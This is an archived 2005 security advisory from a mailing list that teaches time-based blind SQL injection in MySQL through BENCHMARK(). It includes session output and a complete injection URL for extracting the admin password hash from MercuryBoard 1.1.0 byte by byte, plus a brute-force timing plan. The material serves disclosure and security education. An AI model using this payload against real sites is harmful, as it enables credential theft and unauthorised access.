

[REVS] Blind Injection in MySQL Databases (via BENCHMARK)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0071.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/17/05

To: list@securiteam.com

Date: 17 Feb 2005 18:55:14 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Blind Injection in MySQL Databases (via BENCHMARK)

SUMMARY

MySQL is not an easy database for Blind SQL Injection: it displays no errors when an UNION occurs between two columns of different type and there isn't a way to make a query displaying errors from parameters passed inside the query itself. Many times happens that auditing the code of a PHP/MySQL application, we find an injection vulnerability that is not exploitable, because we cannot see the output or we see always an error cause the value retrieved is passed to multiple queries with a different numbers of columns before the script ends.

In those cases where we cannot see the result of the SELECT...UNION statement it would appear that the vulnerability cannot be exploit. Or is it?

DETAILS

Injection Toolbox:

A common trick is always to UNION SELECT [null,null,.. up to the right number of columns in the previous SELECT]/* to see when we get no errors, so we can move forward. Even if we know exactly the name of each COLUMN in

Securiteam: [REVS] Blind Injection in MySQL Databases (via BENCHMARK)

each TABLE, is nearly impossible to retrieve the content if no output is displayed.

In the following examples I'll show you step by step how to retrieve the password hash from a vulnerability discovered in MercuryBoard by codebug.org that seemed not to be exploitable because you cannot see any good output.

I assume that the name of the tables is already known. (This is a common issue,during the auditing of Open Source scripts, or when debugging options are active by default).

The Vulnerability:

MercuryBoard v. 1.1.0 Alberto Trivero discovered an SQL-Injection when the post.php include was switched to 'reply' and the parameter 't' was passed. The issue generated an error when an user is logged in an tries to perform the following operation:

<http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1>

The issue seemed not to be exploitable. In reality it was.

Being Ready for Blindness:

First of all we should have a fully installed a vulnerable version of Mercuryboard with a low privileges user for the DB.

|---| DATABASE name is 'mercuryboard'|---| (let's show the tables)

```
mysql> SHOW TABLES;
```

```
+-----+
| Tables_in_mercury |
+-----+
| mb_active |
| mb_attach |
| mb_forums |
| mb_groups |
| mb_help |
| mb_logs |
| mb_membertitles |
| mb_pmsystem |
| mb_posts |
| mb_replacements |
| mb_settings |
| mb_skins |
| mb_subscriptions |
| mb_templates |
| mb_topics |
| mb_users |
| mb_votes |
+-----+
17 rows in set (0.00 sec)
```

Securiteam: [REVS] Blind Injection in MySQL Databases (via BENCHMARK)

|---| As you can see Current User is a common User |---| (Never run as root!)

```
mysql> SELECT USER();
+-----+
| USER() |
+-----+
| 123@localhost |
+-----+
1 row in set (0.00 sec)
```

```
mysql> SELECT password,USER() FROM mysql.user;
ERROR 1142: select command denied to user: '123@localhost' for table 'user'
mysql>
```

|---| The following query shows the first byte of Admin's Hash |---|

```
mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
+-----+
| SUBSTRING(user_password,1,1) |
+-----+
| 5 |
+-----+
1 row in set (0.00 sec)
```

|---| The following is the first byte of Admin's Hash as ASCII number |---|

```
mysql> SELECT ASCII('5');
+-----+
| ASCII('5') |
+-----+
| 53 |
+-----+
1 row in set (0.00 sec)
```

Feeling the Difference:

The goal is to find a way to be advised in some way that the constant we are looking for is the right one. How is it possible to know if the first byte of Admin Hash is or not equal to '5'?

Well, in NGSS whitepaper the author simply made the query to be delayed if the content matched the one injected. In msSQL this was pursued with a conditional IF [QUERY] waitfor [TIME]. MySQL doesn't support 'waitfor'.

In the following query Zeelock succeeded in creating a delayed of 5 seconds by using an IF() function followed by a BENCHMARK() function. Current User can execute it with low privileges (Usually you can execute the BENCHMARK() function if you can SELECT). That's why is so powerful.

Securiteam: [REVS] Blind Injection in MySQL Databases (via BENCHMARK)

|---| Passing a wrong number |---| (CHAR(52) is equal to '4')

```
mysql> Select active_id FROM mb_active UNION SELECT
IF(SUBSTRING(user_password, 1, 1) = CHAR(52), BENCHMARK(5000000,
ENCODE('Slow Down','by 5 seconds')), null) FROM mb_users WHERE user_group
= 1;
+-----+
| active_id |
+-----+
| 3 |
| 0 |
+-----+
2 rows in set (0.00 sec)
```

In the previous example the BENCHMARK() function is not executed (Elapsed Time 0.00 sec).

|---| Passing the matching content |---| (BENCHMARK() is executed)

```
mysql> Select active_id FROM mb_active UNION SELECT
IF(SUBSTRING(user_password,1 ,1) = CHAR(53), BENCHMARK(5000000,
ENCODE('Slow Down','by 5 seconds')), null) FROM mb_users WHERE user_group
= 1;
+-----+
| active_id |
+-----+
| 3 |
| 0 |
+-----+
2 rows in set (5.36 sec)
```

In the previous example the BENCHMARK() function delayed the query by 5.36 sec.

Preparing the GET Request:

To inject SQL commands successfully we have to clean the request from any single quote.

|---| Cleaning from quotes |---|

```
mysql> Select active_id FROM mb_active UNION SELECT
IF(SUBSTRING(user_password,1, 1) = CHAR(53), BENCHMARK(1000000,
MD5(CHAR(1))), null) FROM mb_users WHERE user_group = 1;
+-----+
| active_id |
+-----+
| 3 |
| 0 |
+-----+
2 rows in set (4.65 sec)
```

Securiteam: [REVS] Blind Injection in MySQL Databases (via BENCHMARK)

mysql>

Exploiting the Vulnerability:

First we have to log in a Registered User with the rights to reply in the current thread.

```
http://127.0.0.1/mercuryboard/index.php?a=post&s=reply&t=1 UNION SELECT IF (SUBSTRING(user_password,1,1) = CHAR(53), BENCHMARK(1000000, MD5(CHAR(1))), null), null, null, null, null FROM mb_users WHERE user_group = 1/*
```

And we'll see a slow down of a couple of seconds cause the first byte is CHAR(53), 5.

Brute forcing:

For rebuilding content letter by letter is needed only a simple Perl script that performs GET requests and wait for the answer byte after byte {..SUBSTRING(strn,[1,2,3..n],1)..} and if the response is delayed by 7 to 10 seconds, we have the right stuff. Brute forcing could take a while with MD5 hashes, because they are alphanumeric, 32 bytes long. Fortunately not CASE SENSITIVE.

0 to 9 --> ASCII 48 to 57

a to z --> ASCII 97 to 122

In the worst case it takes about 36 requests of about 3 sec per request plus the delay for the right byte. A full hash in the worst case could be retrieved in $((3*35)+10)*32= 3622$ seconds (1 hour).

ADDITIONAL INFORMATION

The information has been provided by <mailto:zee@psybnc.it> Zeelock.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.